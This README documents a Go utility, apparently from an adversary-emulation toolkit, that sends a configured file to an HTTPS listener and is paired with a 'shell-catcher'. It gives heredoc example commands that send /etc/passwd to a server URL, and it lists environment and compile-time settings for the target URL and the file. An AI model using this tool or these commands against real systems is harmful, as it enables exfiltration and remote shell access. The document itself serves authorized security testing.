Comms over HTTPS
Nearly the same as comms_over_tls but uses HTTPS for
its comms instead of plain TLS.
A crude shell-catcher may be found in the
letsencryptshellcatcher directory.
Run it with -https /somepath, and put the same /somepath in the server
URL.
File Descriptor
The address and file as whitespace-separated words from file descriptor 7, and
override the environment variables. If only one word is read, it is taken to
be the address.
Examples
Set the address and file via a heredoc:
./comms_over_https 7<<_eof
https://localhost:5555/somepath /etc/passwd
_eof
Set just the address via bash's Here String:
./bin/comms_over_https 7<<<"https://localhost:5555/somepath"
Environment Variables
The URL and file may be set with environment variables, overriding
compile-time settings, as follows
| Default Variable |
Description |
ALPT4ATS_ADDRESS |
HTTPS Server URL |
ALPT4ATS_FILE |
File to send on the HTTPS connection |
The variable names may be changed at compile-time, as below.
Compile-time Config
Compile time configuration is possible with the linker's -X (as in
go build -ldflags '-X main.Foo=bar'). The variables are as follows
| Variable |
Default |
Description |
main.Address |
https://localhost:4444/shell |
HTTPS Server URL |
main.AddressEnvVar |
ALPT4ATS_ADDRESS |
Environment variable which sets the HTTPS Server URL |
main.File |
/etc/hosts |
File to send on the HTTPS connection |
main.FileEnvVar |
ALPT4ATS_FILE |
Environment variable which sets the File to send on the HTTPS connection |
When building with the Makefile these may be passed in with
the LINKFLAGS environment variable, as in
LINKFLAGS="-X main.Address=https://example.com:8080/notshell" make